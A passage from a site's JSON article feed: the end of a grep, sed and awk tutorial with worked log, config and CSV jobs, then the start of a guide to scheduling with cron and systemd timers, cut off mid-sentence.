'{c[$7]++; if ($9 &gt;= 500) e[$7]++}\n         END {for (p in c) printf \"%-12s %d requests %d errors\\n\", p, c[p], e[p]+0}' \\\n  | sort\n</code></pre>\n<pre><code class=\"language-text\">/api/login   1 requests 0 errors\n/api/users   2 requests 2 errors\n</code></pre>\n<p>The grep keeps only API calls, the sed removes any query string so that <code>/api/users?page=2</code> and <code>/api/users</code> count as one path, and awk counts requests and errors per path. Splitting jobs this way keeps each stage testable on its own: run the pipeline up to a stage and look at the output. As a pipeline grows past four stages, ask whether one awk program would be clearer; awk can do the select and normalise steps itself, and reading the file once is faster.</p>\n\n<h2>Worked job: a log report</h2>\n<p>Turn the access log into a one-screen report: total requests, error rate, the busiest client and the transferred size. One awk program does it in one pass.</p>\n<pre><code class=\"language-bash\">awk '\n  { total++; bytes += $10; client[$1]++ }\n  $9 &gt;= 500 { errors++ }\n  END {\n    top = \"\"; max = 0\n    for (c in client) if (client[c] &gt; max) { max = client[c]; top = c }\n    printf \"requests:    %d\\n\", total\n    printf \"5xx errors:  %d (%.1f%%)\\n\", errors, 100 * errors / total\n    printf \"busiest:     %s (%d)\\n\", top, max\n    printf \"bytes:       %d\\n\", bytes\n  }' access.log\n</code></pre>\n<pre><code class=\"language-text\">requests:    6\n5xx errors:  2 (33.3%)\nbusiest:     203.0.113.9 (3)\nbytes:       26044\n</code></pre>\n<p>The program has three kinds of rules. The first runs on every line and accumulates. The second has a condition, so it only counts server errors. The <code>END</code> block finds the maximum and prints. If the file has no 5xx lines, <code>errors</code> is empty and prints as 0 with <code>%d</code>, but dividing by an uninitialised value works because awk treats it as zero; guard the division by <code>total</code> in case of an empty file, or the program reports a division by zero error.</p>\n\n<h2>Worked job: change a config value safely</h2>\n<p>Change <code>port</code> in a config to a new value, only if the key exists, and keep a backup. Check, edit, verify.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nfile=\"$1\"; new=\"$2\"\ngrep -qE '^port[[:space:]]*=' \"$file\" || { echo \"no port key in $file\" &gt;&amp;2; exit 1; }\nsed -i.bak -E \"s/^(port[[:space:]]*=[[:space:]]*).*/\\\\1${new}/\" \"$file\"\ngrep -E '^port' \"$file\"\ndiff \"$file.bak\" \"$file\" || true\n</code></pre>\n<pre><code class=\"language-text\">$ ./setport.sh t.conf 6432\nport = 6432\n3c3\n&lt; port = 5432\n---\n&gt; port = 6432\n</code></pre>\n<p>The grep guard stops the script from silently doing nothing on a file without the key. The substitution keeps the key and its spacing with the capture group and replaces only the value. Because <code>${new}</code> is inserted into the sed script, the script should validate it first: a value containing a slash or an ampersand would break or alter the command, so check <code>[[ $new =~ ^[0-9]+$ ]]</code> for a port. Quoting rules for this kind of input are the topic of <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>Worked job: summarize a CSV</h2>\n<p>Revenue by region and product from the sales file, as a sorted table with a total line. The awk uses the multidimensional-style key trick to group on two columns at once.</p>\n<pre><code class=\"language-bash\">awk -F, 'NR &gt; 1 { r = $3 * $4; sum[$1 \",\" $2] += r; all += r }\n  END { for (k in sum) printf \"%-14s %8.2f\\n\", k, sum[k]\n        printf \"%-14s %8.2f\\n\", \"TOTAL\", all }' sales.csv | sort -k2 -nr\n</code></pre>\n<pre><code class=\"language-text\">TOTAL            172.50\nnorth,gadget      70.00\nsouth,gadget      40.00\neast,widget       30.00\nnorth,widget      25.00\nsouth,widget       7.50\n</code></pre>\n<p>Because the separator is a comma, the composite key is built by concatenating fields with a comma, and the sort at the end places the total first. This works on this file because no value contains a comma or a quote. The moment a field like <code>\"Smith, Jane\"</code> appears, the split is wrong, which is the subject of the CSV note under the limits below.</p>\n\n<h2>A regex cheat sheet for the three dialects</h2>\n<p>The same idea is often spelled three ways, and a short table saves a trip to the manual. The table lists what GNU grep, GNU sed and gawk accept on Debian 12; POSIX-only systems accept the first column of each row.</p>\n<table>\n<thead><tr><th>Meaning</th><th>BRE (default grep, sed)</th><th>ERE (<code>-E</code>, awk)</th></tr></thead>\n<tbody>\n<tr><td>Any one character</td><td><code>.</code></td><td><code>.</code></td></tr>\n<tr><td>Zero or more</td><td><code>*</code></td><td><code>*</code></td></tr>\n<tr><td>One or more</td><td><code>\\+</code> (GNU)</td><td><code>+</code></td></tr>\n<tr><td>Zero or one</td><td><code>\\?</code> (GNU)</td><td><code>?</code></td></tr>\n<tr><td>Alternation</td><td><code>\\|</code> (GNU)</td><td><code>|</code></td></tr>\n<tr><td>Group</td><td><code>\\( \\)</code></td><td><code>( )</code></td></tr>\n<tr><td>Repeat n to m</td><td><code>\\{n,m\\}</code></td><td><code>{n,m}</code></td></tr>\n<tr><td>Digit class</td><td><code>[[:digit:]]</code></td><td><code>[[:digit:]]</code></td></tr>\n<tr><td>Start and end of line</td><td><code>^</code> and <code>$</code></td><td><code>^</code> and <code>$</code></td></tr>\n<tr><td>Word boundary</td><td><code>\\b</code> (GNU)</td><td><code>\\y</code> in gawk, <code>\\b</code> in grep -E</td></tr>\n</tbody>\n</table>\n<p>Two behaviors are shared across all of them and surprise newcomers. Matches are greedy and leftmost: the engine finds the match that starts earliest and, among those, takes the longest. And without an anchor a pattern matches anywhere in the line, so <code>/error/</code> also matches <code>terrors</code>. Add <code>\\b</code>, <code>-w</code> or explicit anchors when whole words matter. The POSIX rule for leftmost-longest differs from Perl, where alternation takes the first alternative that works, so a pattern like <code>a|ab</code> matches <code>ab</code> in grep -E and only <code>a</code> in Perl.</p>\n\n<h2>Use dynamic input safely</h2>\n<p>When a pattern or replacement comes from a variable, the characters in it become syntax. A search term containing <code>.</code>, <code>*</code>, <code>[</code> or <code>/</code> changes what grep and sed do. For grep, <code>-F</code> makes the variable literal. For sed, escape the three characters that matter in a replacement, and for the pattern the set of regex metacharacters, or avoid the problem by moving the logic into awk, where a string comparison with <code>==</code> or <code>index()</code> is literal.</p>\n<pre><code class=\"language-bash\">needle='price (USD)'\ngrep -F -- \"$needle\" prices.txt\nawk -v n=\"$needle\" 'index($0, n) {print}' prices.txt\nescape_sed() { printf '%s' \"$1\" | sed -e 's/[\\/&amp;]/\\\\&amp;/g'; }\nsed \"s/old/$(escape_sed \"$replacement\")/\" file\n</code></pre>\n<p>The <code>--</code> before the pattern stops a needle starting with a dash being read as an option. Treat any value that came from a user, a web request or a file name as untrusted data: a replacement containing a newline can add a second sed command in some versions, and an unescaped delimiter can end the substitution early. The injection cases are collected in <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>Bulk edits across many files</h2>\n<p>To change text across a project, combine grep to find the files and sed to edit them, instead of running sed on everything. This touches only files that match, so unchanged files keep their timestamps and do not show up in version control as modified.</p>\n<pre><code class=\"language-bash\">grep -rlZ --include='*.conf' 'old.example.org' . \\\n  | xargs -0 sed -i.bak 's/old\\.example\\.org/new.example.org/g'\ngit diff --stat\nfind . -name '*.bak' -delete\n</code></pre>\n<p>The <code>-Z</code> flag prints names separated by NUL bytes and <code>xargs -0</code> reads them, so file names with spaces survive. The dots in the pattern are escaped so that they match literal dots, not any character. Review the result with <code>git diff</code> before committing, and delete the backups only after you have looked. In a Git repository, <code>git grep -lz</code> is a faster source of the file list that skips ignored files.</p>\n\n<h2>Small helpers: tr, cut, paste, sort and uniq</h2>\n<p>Several single-purpose tools sit next to the big three and are better for their one job. <code>cut -d, -f1,3</code> picks columns from a clean delimited file. <code>tr -d '\\r'</code> removes Windows carriage returns, <code>tr -s ' '</code> squeezes repeated spaces and <code>tr a-z A-Z</code> changes case. <code>paste -sd,</code> joins lines with a comma, as shown above. <code>sort -u</code>, <code>sort -k2,2n</code> and <code>uniq -c</code> order and count. <code>comm</code>, <code>join</code> and <code>diff</code> compare. Using the dedicated tool makes the intent obvious, and the line reads like a sentence.</p>\n<pre><code class=\"language-bash\">tr -d '\\r' &lt; windows.txt &gt; unix.txt\ncut -d, -f1 sales.csv | tail -n +2 | sort | uniq -c\npaste -sd, &lt;(cut -d, -f2 sales.csv | tail -n +2 | sort -u)\n</code></pre>\n<pre><code class=\"language-text\">      1 east\n      2 north\n      2 south\ngadget,widget\n</code></pre>\n<p>When a task needs two of these joined by an intermediate file, or a computation, move up to awk. A good rule is that the first time you reach for a temporary file in a pipeline, awk or a script probably fits better.</p>\n\n<h2>Debugging a sed or awk script</h2>\n<p>Run the pipeline one stage at a time and read the output of each. Replace <code>-i</code> with printing while testing. For awk, add <code>print</code> statements to standard error, such as <code>print \"x=\" x &gt; \"/dev/stderr\"</code>, and use <code>NR</code> to limit the run to a few lines. gawk offers <code>--lint</code> to warn about suspicious constructs and <code>--debug</code> for an interactive debugger. For sed, GNU sed has <code>--debug</code>, which prints the canonical form of the script and traces each command, and <code>sed --posix</code> disables GNU extensions to check portability.</p>\n<pre><code class=\"language-bash\">awk --lint '{ total += $10 } END { print totl }' access.log\nsed --debug 's/GET/FETCH/' access.log | head -6\n</code></pre>\n<p>The lint run flags that <code>totl</code> is used but never set, which is how a typo in a variable name shows up: awk otherwise prints an empty string without complaint. When a regex seems not to match, print the field it should be matching with <code>printf '[%s]\\n', $3</code>; square brackets reveal trailing spaces and carriage returns. The broader techniques are in <a href=\"/library/debugging-shell-scripts\">the guide to debugging shell scripts</a>.</p>\n\n<h2>Locales, Unicode and line endings</h2>\n<p>Text tools follow the locale for character classes, sorting and case. In a UTF-8 locale, <code>.</code> matches a whole character and <code>[[:alpha:]]</code> includes accented letters; in the C locale each byte is a character. A script that behaves on a developer's laptop and differently under cron is often a locale difference, because cron runs with a minimal environment. Set <code>LC_ALL=C</code> when you want byte semantics and stable sort order, and <code>LC_ALL=C.UTF-8</code> or <code>en_US.UTF-8</code> when you need Unicode-aware matching and the locale exists.</p>\n<p>Windows line endings are the other invisible variable. A file with CRLF ends each line with a carriage return that is part of the last field, so <code>$NF == \"ok\"</code> fails and a pattern ending in <code>$</code> never matches. Strip it first with <code>tr -d '\\r'</code>, or in awk by setting <code>RS=\"\\r?\\n\"</code> in gawk. Use <code>file</code> to confirm the line endings of a file when output looks right but comparisons fail.</p>\n\n<h2>Exit statuses inside scripts</h2>\n<p>All three tools have exit statuses that a script must treat deliberately. grep's 1 for no match is not an error but will stop a script running with <code>set -e</code> or <code>pipefail</code>. sed returns 0 even when its substitution matched nothing, so a script cannot tell success from a no-op without checking the result. awk returns 0 unless the program calls <code>exit n</code> or hits a runtime error. Make the intent explicit.</p>\n<pre><code class=\"language-bash\">set -euo pipefail\ncount=$(grep -c ERROR app.log || true)\ngrep -q '^port' app.conf || { echo \"port missing\" &gt;&amp;2; exit 1; }\nawk 'END { exit (NR == 0) }' app.log || echo \"log was empty\"\n</code></pre>\n<p>The last line uses awk's exit status to signal an empty file, a handy way to carry a condition out of an awk program. Remember that under <code>pipefail</code> a pipeline such as <code>grep ... | head -1</code> can fail with status 141 when <code>head</code> closes the pipe early; test for the condition you care about instead of relying on the pipeline's final status.</p>\n\n<h2>Pick a tool in ten seconds</h2>\n<p>Ask three questions in order. Does the task only need to know whether, or which, lines match? Use grep, and stop there. Does it need to alter the text and pass the rest through untouched? Use sed. Does it need the columns, a running total, a lookup or a decision per line? Use awk. If the answer to the first question is yes and you also need part of the line, take grep with <code>-o</code> and a capture-free pattern first, and move to awk only when that cannot express it. The choice is rarely permanent: a one-liner that starts as grep often grows into awk after the third request for a new column, and that is the right time to switch, since the work you did on the pattern carries over unchanged.</p>\n\n<h2>Common mistakes and their fixes</h2>\n<ul>\n<li><strong>Unquoted patterns.</strong> <code>grep ^a b* file</code> is expanded by the shell. Use single quotes.</li>\n<li><strong>Forgetting <code>-n</code> with sed <code>p</code>.</strong> Every selected line prints twice.</li>\n<li><strong>Greedy matches.</strong> <code>.*</code> runs to the last occurrence. Use <code>[^\"]*</code> or a more specific class.</li>\n<li><strong>Using <code>grep</code> where a fixed string is meant.</strong> A dot in <code>grep 1.5</code> matches any character. Use <code>-F</code>.</li>\n<li><strong><code>sed -i</code> on macOS.</strong> Needs a suffix. Use <code>-i.bak</code>.</li>\n<li><strong>Counting with <code>grep | wc -l</code> when <code>grep -c</code> will do.</strong> And note <code>-c</code> counts lines, not matches.</li>\n<li><strong>Reading a variable unset in awk as zero.</strong> Fine for arithmetic, but prints empty in string context. Add <code>+0</code>.</li>\n<li><strong>Whitespace fields containing spaces.</strong> Default splitting breaks on them. Pick a real separator.</li>\n<li><strong>Changing a file you are reading in the same pipeline.</strong> <code>sed ... file &gt; file</code> truncates it first. Write to a new file or use <code>-i</code>.</li>\n</ul>\n<p>The last one destroys data silently: the shell truncates the output file before sed starts, so sed reads an empty file. Always write to a temporary name and rename, or let <code>sed -i</code> do it.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>JSON and XML.</strong> Regexes cannot reliably parse nested structures, and a pipeline of sed commands on JSON breaks the first time a value contains a quote or a newline. Use <code>jq</code> for JSON and <code>xmllint</code> or <code>xmlstarlet</code> for XML.</p>\n<p><strong>Quoted CSV.</strong> Fields with embedded commas, newlines or doubled quotes defeat <code>-F,</code>. Use gawk with FPAT, gawk 5.3's <code>--csv</code>, Miller, csvkit or Python's <code>csv</code> module.</p>\n<p><strong>Binary files and mixed encodings.</strong> These tools assume text. grep reports <code>binary file matches</code> on standard error and awk and sed may misbehave on invalid multibyte sequences; set <code>LC_ALL=C</code> or convert with <code>iconv</code> first.</p>\n<p><strong>Large transformations with logic.</strong> When an awk program passes about fifty lines or needs functions, data structures and tests, write it in Python or Go. The line is not about capability, since awk is Turing complete, but about maintainability.</p>\n<p><strong>Very large files with simple needs.</strong> For a single count or filter over tens of gigabytes, a purpose-built tool such as ripgrep can be much faster than GNU grep with a complex pattern.</p>\n\n<h2>What to read next</h2>\n<p>The next step in text processing is the pattern language itself, covered in <a href=\"/library/regular-expressions-shell-tools\">the regular expressions in shell tools guide</a>, which compares the dialects in grep, sed, awk and Bash. To turn these one-liners into reliable scripts, read <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>, and to find out why a pipeline gives the wrong answer, <a href=\"/library/debugging-shell-scripts\">the debugging guide</a>. The wider toolbox these three sit in is <a href=\"/library/linux-command-line-guide\">the Linux command line guide</a>.</p>\n<p>Primary sources used here: the <a href=\"https://www.gnu.org/software/grep/manual/grep.html\">GNU grep manual</a>, the <a href=\"https://www.gnu.org/software/sed/manual/sed.html\">GNU sed manual</a>, the <a href=\"https://www.gnu.org/software/gawk/manual/gawk.html\">GNU Awk User's Guide</a>, the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html\">POSIX awk specification</a>, the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sed.html\">POSIX sed specification</a>, the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/grep.html\">POSIX grep specification</a>, the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap09.html\">POSIX regular expressions chapter</a>, <a href=\"https://www.rfc-editor.org/rfc/rfc5737\">RFC 5737</a> for the documentation address blocks and the <a href=\"https://invisible-island.net/mawk/mawk.html\">mawk manual</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Command Line"]},{"id":"https://shellhacks.dev/library/automate-tasks-cron-systemd","url":"https://shellhacks.dev/library/automate-tasks-cron-systemd","title":"Automate Recurring Work With Cron and systemd Timers","summary":"Automate tasks with cron and systemd timers: crontab syntax, timer units, locking, logging, missed runs, time zones and how to move from one to the other.","content_html":"<p>Scheduling is where a script stops being something you run and becomes something that runs. Linux gives you two main ways to do it. Cron has been scheduling commands since the 1970s and is still on nearly every system. A systemd timer is the newer mechanism on systems that use systemd, and it fixes most of cron's rough edges at the cost of two files per job. This guide covers both, with the failure modes of each, and ends with how to choose and how to move a job from one to the other. The examples ran on Debian 12 with cron 3.0pl1 and systemd 252, and the timer expressions were checked with <code>systemd-analyze</code>. The scripts being scheduled are written as in <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>.</p>\n<p>The guide covers the cron model, the crontab syntax, the environment cron provides, logging and mail, overlapping runs, the same job as a systemd timer, calendar expressions, catching up after downtime, time zones, hardening the service, monitoring, and a set of real jobs.</p>\n\n<h2>What a scheduler does</h2>\n<p>A scheduler is a long-running process that wakes at the right moments and starts other programs. It does not run your job inside a login session, which is the root of most scheduling problems: the job has no terminal, no interactive shell, no ssh-agent, no desktop session and none of the environment variables you set in <code>~/.bashrc</code>. Anything the script quietly depended on while you tested it by hand has to be stated explicitly. Keep that in mind throughout. The scheduler's responsibility ends at starting the program; everything after that, including noticing a failure, is yours to design.</p>\n<p>Two kinds of schedule exist. Calendar schedules fire at wall-clock times such as \"02:30 every day\" and are what cron expresses. Monotonic schedules fire a duration after some event, such as \"ten minutes after boot\" or \"one hour after the last run finished\", and are available only in systemd timers. Most recurring operational work is calendar based. Work that should never overlap or pile up is better described by \"an interval after the last finish\", which is awkward in cron.</p>\n\n<h2>The crontab format</h2>\n<p>A crontab is a text file in which each line has five time fields, then the command. The fields are minute (0 to 59), hour (0 to 23), day of month (1 to 31), month (1 to 12 or names) and day of week (0 to 7, where both 0 and 7 are Sunday, or names). An asterisk means every value, a comma separates a list, a dash gives a range, and <code>/n</code> is a step.</p>\n<pre><code class=\"language-text\"># minute hour dom month dow  command\n30 2 * * *        /usr/local/bin/backup.sh\n*/15 * * * *      /usr/local/bin/poll.sh\n0 9 * * 1-5       /usr/local/bin/report.sh\n0 4 1 * *         /usr/local/bin/monthly.sh\n@reboot           /usr/local/bin/on-boot.sh\n</code></pre>\n<p>The first line runs at 02:30 every day. The second runs every 15 minutes. The third runs at 09:00 on weekdays. The fourth runs at 04:00 on the first of each month. The special <code>@reboot</code> string runs once when the cron daemon starts. Vixie cron and its descendants also accept <code>@hourly</code>, <code>@daily</code>, <code>@weekly</code>, <code>@monthly</code> and <code>@yearly</code>. The full format is documented in <a href=\"https://man7.org/linux/man-pages/man5/crontab.5.html\">crontab(5)</a>.</p>\n\n<h2>The day-of-month and day-of-week trap</h2>\n<p>When both the day-of-month and day-of-week fields are restricted, standard cron runs the job when either matches, not when both do. A line meaning \"the first Monday of the month\", written as <code>0 9 1-7 * 1</code>, actually runs on days 1 to 7 and also on every Monday. This is specified behavior, not a bug, and it surprises almost everyone once.</p>\n<pre><code class=\"language-text\"># runs on the 1st to the 7th AND every Monday\n0 9 1-7 * 1   /usr/local/bin/job.sh\n\n# the first Monday only: run daily on days 1 to 7 and test the weekday in the command\n0 9 1-7 * *   [ \"$(date +\\%u)\" = 1 ] &amp;&amp; /usr/local/bin/job.sh\n</code></pre>\n<p>The second form tests the weekday in the command itself. Note the escaped percent sign: in a crontab, an unescaped <code>%</code> in the command is converted to a newline, and everything after the first one is sent to the command as standard input. That is the cause of countless broken <code>date +%F</code> jobs. Either escape each percent with a backslash, or put the logic in a script file and call the script, which is the better habit anyway.</p>\n\n<h2>Edit and list crontabs</h2>\n<p>Each user has a crontab edited with <code>crontab -e</code>, listed with <code>crontab -l</code> and removed with <code>crontab -r</code>. The last one has no confirmation and sits one key away from <code>-e</code> on a keyboard, which has wiped many a schedule; keep your crontab in version control and install it from there. The system also reads <code>/etc/crontab</code> and files in <code>/etc/cron.d/</code>, which have an extra sixth field naming the user to run as. Only root can write those.</p>\n<pre><code class=\"language-text\"># /etc/cron.d/nightly-backup\nSHELL=/bin/bash\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nMAILTO=ops@example.org\n\n30 2 * * *  backup  /usr/local/bin/backup.sh -k 7 /srv/data\n</code></pre>\n<p>Files in <code>/etc/cron.d</code> must be owned by root, not writable by group or others, and have names containing only letters, digits, underscores and hyphens. A file named <code>backup.sh</code> or <code>backup.cron</code> with a dot is silently ignored by Debian's cron, a rule that is a common source of the familiar complaint that a cron.d file does nothing. The same naming rule applies to the scripts dropped into <code>/etc/cron.daily</code> and its siblings, which are run by <code>run-parts</code>.</p>\n\n<h2>The environment cron gives you</h2>\n<p>Cron runs commands with <code>HOME</code>, <code>LOGNAME</code> and <code>SHELL</code> set, <code>PATH</code> limited to <code>/usr/bin:/bin</code> on Debian, and the shell set to <code>/bin/sh</code>, which is dash on Debian. It reads none of your dotfiles. That means three habits. Use absolute paths for every program and file. Set <code>PATH</code> and <code>SHELL</code> at the top of the crontab when the job needs them. And begin scripts with their own <code>set -euo pipefail</code> and explicit <code>PATH</code>, so they behave the same wherever they start.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\n# Print what a scheduled job actually sees.\n{\n  date\n  id\n  pwd\n  echo \"SHELL=$SHELL\"\n  echo \"PATH=$PATH\"\n  env | sort\n} &gt; /tmp/cron-env.txt 2&gt;&amp;1\n</code></pre>\n<p>Schedule this script once, read <code>/tmp/cron-env.txt</code> afterwards, and compare it to your interactive <code>env</code>. The difference is the list of things your script will trip over. A working directory of <code>$HOME</code> instead of the script's directory is another frequent surprise: change into the right directory at the top of the script with <code>cd -- \"$(dirname -- \"$0\")\"</code>.</p>\n\n<h2>Logging and mail</h2>\n<p>By default cron mails any output of a job to the owner, using the local mail system. On a server with no mail transfer agent configured, that output vanishes. The reliable pattern is to send the job's output where you decide, and to make failures loud.</p>\n<pre><code class=\"language-text\">30 2 * * *  /usr/local/bin/backup.sh &gt;&gt; /var/log/backup.log 2&gt;&amp;1\n30 2 * * *  /usr/local/bin/backup.sh 2&gt;&amp;1 | logger -t backup\n*/5 * * * * /usr/local/bin/poll.sh &gt; /dev/null\n</code></pre>\n<p>The first appends both streams to a log file, which should be rotated with logrotate. The second sends them to syslog under a tag, so they end up in the journal on systemd hosts. The third discards standard output but leaves standard error, which cron would mail; that is a useful convention for jobs that print routine noise but whose errors you want to hear about. Set <code>MAILTO=</code> to an address, or to an empty string to disable mail. A job that fails silently is worse than a job that never ran, so decide where failure goes before you schedule anything.</p>\n\n<h2>Prevent overlapping runs</h2>\n<p>If a job takes longer than its interval, cron starts the next one anyway. Two backups writing the same archive, or two importers inserting the same rows, are a classic outage. The fix is a lock. <code>flock</code> from util-linux holds an advisory lock on a file for the life of the command and releases it when the process exits for any reason, including a crash.</p>\n<pre><code class=\"language-text\">*/5 * * * * flock -n /run/lock/poll.lock /usr/local/bin/poll.sh\n</code></pre>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nexec 9&gt;/run/lock/nightly.lock\nif ! flock -n 9; then\n  echo \"previous run still going, exiting\" &gt;&amp;2\n  exit 0\nfi\n./do-the-work.sh\n</code></pre>\n<p>With <code>-n</code> the second run exits at once; without it, it would wait for the lock and the runs would queue up. Avoid hand-made PID files, which survive a crash and then block the job until someone deletes them, or are removed by the wrong run. A lock owned by the kernel disappears with the process, so there is nothing to clean up.</p>\n\n<h2>Cron on a laptop or an unreliable host: anacron</h2>\n<p>Cron assumes the machine is up. If it is off at 02:30, the job is skipped, and nothing records that it should have run. <code>anacron</code> solves this for jobs measured in days: it keeps a timestamp per job, and when the system is up and a period has elapsed since the last run, it runs the job after a delay. On Debian, the files in <code>/etc/cron.daily</code>, <code>/etc/cron.weekly</code> and <code>/etc/cron.monthly</code> are run by anacron when it is installed, and by cron otherwise. Anacron cannot express times of day and works at a granularity of days, so it is a tool for housekeeping, not for \"every five minutes\".</p>\n<pre><code class=\"language-text\"># /etc/anacrontab\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n# period  delay  job-id   command\n1         5      backup   /usr/local/bin/backup.sh\n7         10     cleanup  /usr/local/bin/cleanup.sh\n</code></pre>\n<p>The period is in days and the delay in minutes after anacron starts. For anything that needs catch-up on a modern system, a systemd timer with <code>Persistent=true</code> gives the same behavior with one line, which is a major reason to prefer timers on laptops and development machines.</p>\n\n<h2>What a systemd timer is</h2>\n<p>A timer is a unit with the suffix <code>.timer</code> that activates another unit, normally a service with the same base name, when its schedule fires. The timer holds the schedule; the service holds the command, user, environment and limits. Splitting them looks like extra work for one job and pays off as soon as you want to start the job by hand, with <code>systemctl start backup.service</code>, or read its logs with <code>journalctl -u backup.service</code>, because those work on the service independent of the schedule.</p>\n<pre><code class=\"language-ini\"># /etc/systemd/system/backup.service\n[Unit]\nDescription=Nightly backup of /srv/data\n\n[Service]\nType=oneshot\nUser=backup\nExecStart=/usr/local/bin/backup.sh -k 7 /srv/data\n</code></pre>\n<pre><code class=\"language-ini\"># /etc/systemd/system/backup.timer\n[Unit]\nDescription=Run the nightly backup\n\n[Timer]\nOnCalendar=*-*-* 02:30:00\nPersistent=true\nRandomizedDelaySec=5min\n\n[Install]\nWantedBy=timers.target\n</code></pre>\n<p>Enable the timer, not the service: <code>systemctl daemon-reload</code> then <code>systemctl enable --now backup.timer</code>. The service has no <code>[Install]</code> section because it is never enabled on its own. The unit file format is described in <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html\">systemd.timer(5)</a> and <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html\">systemd.service(5)</a>.</p>\n\n<h2>Calendar expressions</h2>\n<p><code>OnCalendar=</code> takes the form <code>DayOfWeek Year-Month-Day Hour:Minute:Second</code>, where each part is optional and can use <code>*</code>, lists with commas, ranges with <code>..</code> and repetition with <code>/</code>. There are shorthands such as <code>hourly</code>, <code>daily</code>, <code>weekly</code>, <code>monthly</code>. The tool <code>systemd-analyze calendar</code> parses an expression, shows its normalized form and prints the next time it fires, which removes the guessing.</p>\n<pre><code class=\"language-bash\">systemd-analyze calendar 'Mon..Fri *-*-* 09:00'\nsystemd-analyze calendar '*:0/15'\nsystemd-analyze calendar weekly\n</code></pre>\n<pre><code class=\"language-text\">  Original form: Mon..Fri *-*-* 09:00\nNormalized form: Mon..Fri *-*-* 09:00:00\n    Next elapse: Fri 2026-11-06 09:00:00 UTC\n\n  Original form: *:0/15\nNormalized form: *-*-* *:00/15:00\n    Next elapse: Fri 2026-11-06 06:00:00 UTC\n\n  Original form: weekly\nNormalized form: Mon *-*-* 00:00:00\n    Next elapse: Mon 2026-11-09 00:00:00 UTC\n</code></pre>\n<p>Run the analyzer for every schedule before you deploy it, and add <code>--iterations=5</code> to see several future elapses. Unlike cron, a calendar expression with both a weekday and a day of the month requires both to match, so \"the first Monday\" is expressible directly as <code>Mon *-*-01..07 09:00</code>, which cron cannot do without the shell test shown above.</p>\n\n<h2>Monotonic timers</h2>\n<p>Four directives schedule relative to an event instead of the clock. <code>OnBootSec=</code> counts from boot, <code>OnStartupSec=</code> from when the service manager started, <code>OnActiveSec=</code> from when the timer itself was activated, and <code>OnUnitActiveSec=</code> or <code>OnUnitInactiveSec=</code> from when the target service was last started or finished. Combine them to build \"five minutes after boot, then every hour\".</p>\n<pre><code class=\"language-ini\">[Timer]\nOnBootSec=5min\nOnUnitInactiveSec=1h\nAccuracySec=1min\n</code></pre>\n<p>Using <code>OnUnitInactiveSec</code> measures from the end of the previous run, so runs never overlap and never queue, no matter how long the job takes. That is exactly the property cron needs a lock to emulate. Durations accept unit suffixes, and you can verify a value with <code>systemd-analyze timespan \"1h 30min\"</code>, which printed <code>5400000000</code> microseconds on the test host.</p>\n\n<h2>Persistent timers and missed runs</h2>\n<p>With <code>Persistent=true</code>, systemd stores the last trigger time on disk, in <code>/var/lib/systemd/timers/</code>. If the machine was off or the timer was inactive when a calendar event should have fired, it triggers the service as soon as the timer is next activated. The feature applies only to <code>OnCalendar=</code> timers. It catches up once, not once for every missed day: three missed nights produce one run on boot.</p>\n<pre><code class=\"language-bash\">systemctl list-timers --all\nsystemctl status backup.timer\ncat /var/lib/systemd/timers/stamp-backup.timer\n</code></pre>\n<pre><code class=\"language-text\">NEXT                        LEFT       LAST                        PASSED  UNIT           ACTIVATES\nSat 2026-11-07 02:33:41 UTC 20h left   Fri 2026-11-06 02:31:07 UTC 3h ago  backup.timer   backup.service\n</code></pre>\n<p>The listing shows the next trigger, the last one, and the service each timer starts, which makes it the first stop in any \"did it run?\" investigation. A job that must run exactly once a day even on a machine that is often off is the clearest case for a persistent timer.</p>\n\n<h2>Spreading load: RandomizedDelaySec and AccuracySec</h2>\n<p>When hundreds of machines all run a job at 02:00, the service it contacts sees a spike. <code>RandomizedDelaySec=</code> adds a random delay up to the stated amount to each trigger, so the fleet spreads out. <code>AccuracySec=</code> lets systemd coalesce wake-ups: the default is one minute, which means a timer may fire up to a minute late to share a wake-up with others. Set <code>AccuracySec=1s</code> when the minute matters. <code>FixedRandomDelay=true</code>, added in systemd 247, keeps a host's delay the same between runs, so each machine has a stable but different time.</p>\n<pre><code class=\"language-ini\">[Timer]\nOnCalendar=daily\nRandomizedDelaySec=30min\nFixedRandomDelay=true\nAccuracySec=1s\n</code></pre>\n<p>Cron has no equivalent. The common workaround is a <code>sleep $((RANDOM % 1800))</code> at the start of the job, which holds a process for half an hour and is invisible to monitoring until it starts doing work.</p>\n\n<h2>Writing the service unit well</h2>\n<p>A scheduled job should be a <code>Type=oneshot</code> service: systemd considers it active while the command runs, and a second activation request while it is active does not start another copy. Set the user so the job does not run as root without reason. Set the working directory, an environment file if needed, and a timeout so a hung job is killed.</p>\n<pre><code class=\"language-ini\">[Unit]\nDescription=Sync reports to object storage\nAfter=network-online.target\nWants=network-online.target\n\n[Service]\nType=oneshot\nUser=reports\nWorkingDirectory=/srv/reports\nEnvironmentFile=/etc/reports/env\nExecStart=/usr/local/bin/sync-reports.sh\nTimeoutStartSec=30min\nNice=10\nIOSchedulingClass=idle\n</code></pre>\n<p>The <code>After=</code> and <code>Wants=</code> lines make the job wait for the network, a dependency cron cannot state at all. <code>EnvironmentFile</code> holds <code>KEY=value</code> lines, which keeps secrets out of the unit file and out of the process list. <code>Nice</code> and <code>IOSchedulingClass=idle</code> keep a heavy job from slowing foreground work. Because systemd runs the command without a shell, pipes, redirections and <code>$VARIABLES</code> 